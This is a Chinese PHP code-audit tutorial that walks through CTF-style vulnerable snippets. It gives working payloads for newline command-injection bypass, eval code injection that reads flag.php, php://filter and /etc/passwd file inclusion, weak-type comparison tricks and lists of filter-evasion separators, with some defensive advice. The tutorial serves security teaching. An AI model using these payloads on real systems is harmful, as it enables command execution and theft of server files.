PHP代码审计
字数 1646 2025-08-12 11:34:05

PHP代码审计实战教学文档

1. 命令注入绕过

案例代码

if(isset($_REQUEST['ip'])) {
    $target = trim($_REQUEST['ip']);
    $substitutions = array('&', '|', '-', '$', '(', ')', '`');
    $target = str_replace(array_keys($substitutions), $substitutions, $target);
    $cmd = shell_exec('ping -c 4 ' . $target);
    echo $target; echo "<pre>{$cmd}</pre>";
}

关键知识点

  1. 过滤绕过:虽然过滤了常见管道符,但可以使用换行符%0a绕过

  2. payload构造

    • 查看目录:?ip=127.0.0.1%0als
    • 读取文件:?ip=127.0.0.1%0acat flag.php
  3. 常见命令分隔符

    • %0a(换行符)
    • %0d(回车符)
    • <
    • %09(制表符)
    • $IFS$9
    • ${IFS}
    • ,
    • <>

2. PHP弱类型比较

案例代码

function noother_says_correct($number) {
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++) {
        $digit = ord($number{$i});
        if (($digit >= $one) && ($digit <= $nine)) {
            return false;
        }
    }
    return $number == "3735929054";
}

关键知识点

  1. 绕过思路

    • 检查每个字符不能是数字1-9
    • 但要求值等于"3735929054"
    • 十六进制0xdeadc0de等于十进制3735929054
  2. payload

    • answer=0xdeadc0de
  3. 相关函数

    • ord():返回字符的ASCII值
    • 十六进制与十进制比较会自动转换

3. 变量变量与$GLOBALS利用

案例代码

$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a)){
    die('ERROR');
}
eval("var_dump(
$$
a);");

关键知识点

  1. 正则限制/^\w*$/只允许字母数字和下划线

  2. 利用方法

    • 使用$GLOBALS超全局变量
    • $GLOBALS包含所有全局变量
  3. payload

    • ?hello=GLOBALS
  4. $GLOBALS特性

    • 引用全局作用域中所有变量
    • 变量名作为数组键
    • 在任何地方都可用

4. 代码注入与函数闭合

案例代码

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

关键知识点

  1. 注入方法

    • 闭合var_dump()函数
    • 添加额外PHP代码
  2. payload构造

    • ?hello=);var_dump(file("flag.php"));//
    • 实际执行:var_dump();var_dump(file("flag.php"));
  3. 防御措施

    • 避免直接执行用户输入
    • 使用白名单过滤

5. 会话安全与随机数破解

案例代码

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}
if($_SESSION['nums']>=10){
    echo $flag;
}

关键知识点

  1. 漏洞点

    • MD5弱比较:substr(md5($value),5,4)==0
    • 需要120秒内连续10次满足条件
  2. 破解方法

    • 构造值使MD5哈希第5-8位为"0000"
    • 使用脚本自动化请求
  3. 随机数安全问题

    • mt_rand()是伪随机数
    • 知道种子可预测后续随机数
    • 不应用于安全敏感场景

6. 文件包含与PHP伪协议

案例代码

if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

关键知识点

  1. 利用条件

    • allow_url_include=On
    • 无路径过滤
  2. payload

    • 读取文件:?path=php://filter/convert.base64-encode/resource=flag.php
    • 直接包含:?path=/etc/passwd
  3. 常用PHP伪协议

    • php://filter:读取文件内容
    • php://input:执行POST数据
    • data://:直接包含代码
    • zip://:访问压缩包内文件
  4. 防御措施

    • 关闭allow_url_include
    • 白名单限制包含路径
    • 避免直接使用用户输入

附录:关键函数说明

1. preg_match()

  • 执行正则匹配
  • 语法:int preg_match(string $pattern, string $subject)
  • 返回0或1(匹配次数)

2. mt_rand()安全提示

  • 使用Mersenne Twister算法
  • 不是加密安全随机数
  • 自PHP 4.2.0起自动播种

3. 文件包含相关函数

  • include
  • require
  • include_once
  • require_once
  • highlight_file
  • show_source
  • readfile
  • file_get_contents

4. 超全局变量

  • $_REQUEST:GET+POST+COOKIE
  • $_GET:URL参数
  • $_POST:POST数据
  • $GLOBALS:所有全局变量

本教学文档涵盖了PHP代码审计中的关键漏洞类型和利用技术,包括命令注入、弱类型比较、变量变量利用、代码注入、会话安全问题和文件包含漏洞。每个案例都包含漏洞原理、利用方法和防御措施,适合作为PHP安全审计的实战参考资料。

PHP代码审计实战教学文档 1. 命令注入绕过 案例代码 关键知识点 过滤绕过 :虽然过滤了常见管道符,但可以使用换行符 %0a 绕过 payload构造 : 查看目录: ?ip=127.0.0.1%0als 读取文件: ?ip=127.0.0.1%0acat flag.php 常见命令分隔符 : %0a (换行符) %0d (回车符) < %09 (制表符) $IFS$9 ${IFS} , <> 2. PHP弱类型比较 案例代码 关键知识点 绕过思路 : 检查每个字符不能是数字1-9 但要求值等于"3735929054" 十六进制 0xdeadc0de 等于十进制3735929054 payload : answer=0xdeadc0de 相关函数 : ord() :返回字符的ASCII值 十六进制与十进制比较会自动转换 3. 变量变量与$GLOBALS利用 案例代码 关键知识点 正则限制 : /^\w*$/ 只允许字母数字和下划线 利用方法 : 使用 $GLOBALS 超全局变量 $GLOBALS 包含所有全局变量 payload : ?hello=GLOBALS $GLOBALS特性 : 引用全局作用域中所有变量 变量名作为数组键 在任何地方都可用 4. 代码注入与函数闭合 案例代码 关键知识点 注入方法 : 闭合 var_dump() 函数 添加额外PHP代码 payload构造 : ?hello=);var_dump(file("flag.php"));// 实际执行: var_dump();var_dump(file("flag.php")); 防御措施 : 避免直接执行用户输入 使用白名单过滤 5. 会话安全与随机数破解 案例代码 关键知识点 漏洞点 : MD5弱比较: substr(md5($value),5,4)==0 需要120秒内连续10次满足条件 破解方法 : 构造值使MD5哈希第5-8位为"0000" 使用脚本自动化请求 随机数安全问题 : mt_rand() 是伪随机数 知道种子可预测后续随机数 不应用于安全敏感场景 6. 文件包含与PHP伪协议 案例代码 关键知识点 利用条件 : allow_url_include=On 无路径过滤 payload : 读取文件: ?path=php://filter/convert.base64-encode/resource=flag.php 直接包含: ?path=/etc/passwd 常用PHP伪协议 : php://filter :读取文件内容 php://input :执行POST数据 data:// :直接包含代码 zip:// :访问压缩包内文件 防御措施 : 关闭 allow_url_include 白名单限制包含路径 避免直接使用用户输入 附录:关键函数说明 1. preg_ match() 执行正则匹配 语法: int preg_match(string $pattern, string $subject) 返回0或1(匹配次数) 2. mt_ rand()安全提示 使用Mersenne Twister算法 不是加密安全随机数 自PHP 4.2.0起自动播种 3. 文件包含相关函数 include require include_once require_once highlight_file show_source readfile file_get_contents 4. 超全局变量 $_REQUEST :GET+POST+COOKIE $_GET :URL参数 $_POST :POST数据 $GLOBALS :所有全局变量 本教学文档涵盖了PHP代码审计中的关键漏洞类型和利用技术,包括命令注入、弱类型比较、变量变量利用、代码注入、会话安全问题和文件包含漏洞。每个案例都包含漏洞原理、利用方法和防御措施,适合作为PHP安全审计的实战参考资料。